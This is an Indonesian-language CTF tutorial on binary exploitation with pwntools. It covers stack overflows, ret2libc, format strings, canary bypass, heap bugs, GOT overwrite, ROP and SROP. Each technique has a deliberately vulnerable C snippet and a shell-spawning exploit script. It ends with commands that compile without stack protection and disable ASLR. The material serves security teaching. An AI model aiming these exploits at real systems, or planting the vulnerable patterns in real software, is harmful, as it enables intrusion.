BINARY EXPLOITATION DENGAN PYTHON

Berikut kumpulan studi kasus Binary Exploitation menggunakan Python untuk latihan CTF, pembelajaran keamanan sistem, dan reverse engineering.

Tools yang umum digunakan:

- Python 3
- Pwntools
- GDB
- checksec
- Linux ELF Binary

1. Buffer Overflow Sederhana

Kasus

Program C memiliki buffer 32 byte.

```
#include <stdio.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char buf[32];
    gets(buf);
}

int main() {
    vuln();
}
```

Target:

Meng-overwrite return address agar menuju fungsi win().

Analisis

Cari offset menggunakan cyclic pattern.

```
from pwn import *

payload = cyclic(100)
```

Di GDB:

run

Masukkan payload → crash → cek RIP/EIP.

Penyelesaian Python

```
from pwn import *

p = process('./vuln')

offset = 40
win_addr = 0x401176

payload = b"A" * offset
payload += p64(win_addr)

p.sendline(payload)
p.interactive()
```

2. **Ret2Win**

Kasus

Binary memiliki fungsi rahasia:

```
void secret() {
    system("/bin/sh");
}
```

Tetapi tidak pernah dipanggil.

Penyelesaian

Cari alamat fungsi dengan:

```
nm vuln | grep secret
```

Python exploit:

```
from pwn import *

p = process('./vuln')

payload = flat(
    b"A"*72,
    0x4011b6
)

p.sendline(payload)
p.interactive()
```

3. **Ret2Libc**

Kasus

NX aktif sehingga shellcode tidak bisa dijalankan.

Target:

Panggil:

```
system("/bin/sh")
```

menggunakan libc.

Penyelesaian

Leak alamat puts.

```
from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vuln')
rop = ROP(elf)
```

```
payload = flat(
    b"A"*72,
    rop.find_gadget(['pop rdi','ret'])[0],
    elf.got['puts'],
    elf.plt['puts'],
    elf.symbols['main']
)

p.sendline(payload)

leak = u64(p.recvline().strip().ljust(8,b'\x00'))

libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
    b"A"*72,
    rop.find_gadget(['pop rdi','ret'])[0],
    binsh,
    system
)

p.sendline(payload)
p.interactive()
```

4. **Format String Vulnerability**

   Kasus

```
printf(user_input);
```

Tanpa format string aman.

Eksploitasi

Leak stack:

```
from pwn import *

p = process('./vuln')

p.sendline(b"%p %p %p %p")
print(p.recv())
```

Menulis memory:

```
payload = fmtstr_payload(6, {0x404040: 0xdeadbeef})
```

5. **Stack Canary Bypass**

Kasus

Binary menggunakan Stack Canary.

Strategi

1. Leak canary
2. Rebuild stack

Penyelesaian

```
from pwn import *

p = process('./vuln')

payload = b"A"*72
p.send(payload)

p.recvuntil(b"A"*72)

canary = u64(b'\x00' + p.recv(7))

payload = flat(
    b"A"*72,
    canary,
    b"B"*8,
```

```
    0x401176
)

p.sendline(payload)
p.interactive()
```

6. **Use After Free (Heap Exploitation)**

   Kasus

   Program membebaskan pointer tetapi masih digunakan.

   Contoh Vulnerable Code

```
free(ptr);
printf("%s", ptr);
```

   Penyelesaian

   Manipulasi heap chunk.

```
from pwn import *

p = process('./heap')

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'data:', b'A'*32)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'data:', p64(0xdeadbeef))
```

7. **Double Free Exploit**

   Kasus

   Chunk heap di-free dua kali.

   Tujuan

   Overwrite __free_hook.

Penyelesaian

```
from pwn import *

p = process('./heap')

free_hook = 0x404018
system = 0x401050

# double free sequence
```

Konsep:

- Fastbin dup
- Tcache poisoning

8. **GOT Overwrite**

Kasus

RELRO nonaktif.

Target:

Overwrite GOT entry puts → system.

Penyelesaian

```
from pwn import *

elf = ELF('./vuln')

puts_got = elf.got['puts']
system = elf.plt['system']

payload = fmtstr_payload(6, {
    puts_got: system
})
```

```
p.sendline(payload)
```

Ketika program memanggil puts("/bin/sh"), akan berubah menjadi:

system("/bin/sh")

9. **ROP Chain**

Kasus

Binary tidak memiliki fungsi win.

Strategi

Bangun ROP chain manual.

Penyelesaian

```
from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

rop.call('system', [next(elf.search(b'/bin/sh'))])

payload = flat(
    b"A"*72,
    rop.chain()
)

print(rop.dump())

p = process('./vuln')
p.sendline(payload)
p.interactive()
```

10. **Sigreturn Oriented Programming (SROP)**

Kasus

ROP gadget sangat terbatas.

Strategi

Gunakan syscall sigreturn.

Penyelesaian

```
from pwn import *

context.arch = 'amd64'

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x402000
frame.rip = 0x40100f

payload = flat(
    b"A"*72,
    0x40100e,
    bytes(frame)
)

p = process('./vuln')
p.sendline(payload)
p.interactive()
```

Ringkasan Teknik

Teknik	Tujuan
Buffer Overflow	Overwrite RIP/EIP
Ret2Win	Memanggil fungsi rahasia
Ret2Libc	Bypass NX
Format String	Leak/write memory
Canary Bypass	Melewati proteksi stack
UAF	Manipulasi heap

Double Free	Heap poisoning
GOT Overwrite	Redirect fungsi
ROP	Rantai gadget
SROP	Syscall exploitation

Tools Penting

Debugging

- GDB
- GEF
- pwndbg

Framework Exploit

- Pwntools GitHub

Practice Binary Exploitation

- pwn.college
- ROP Emporium
- OverTheWire

Compile Binary Vulnerable

Contoh compile:

```
gcc vuln.c -o vuln -fno-stack-protector -no-pie
```

Disable ASLR sementara:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```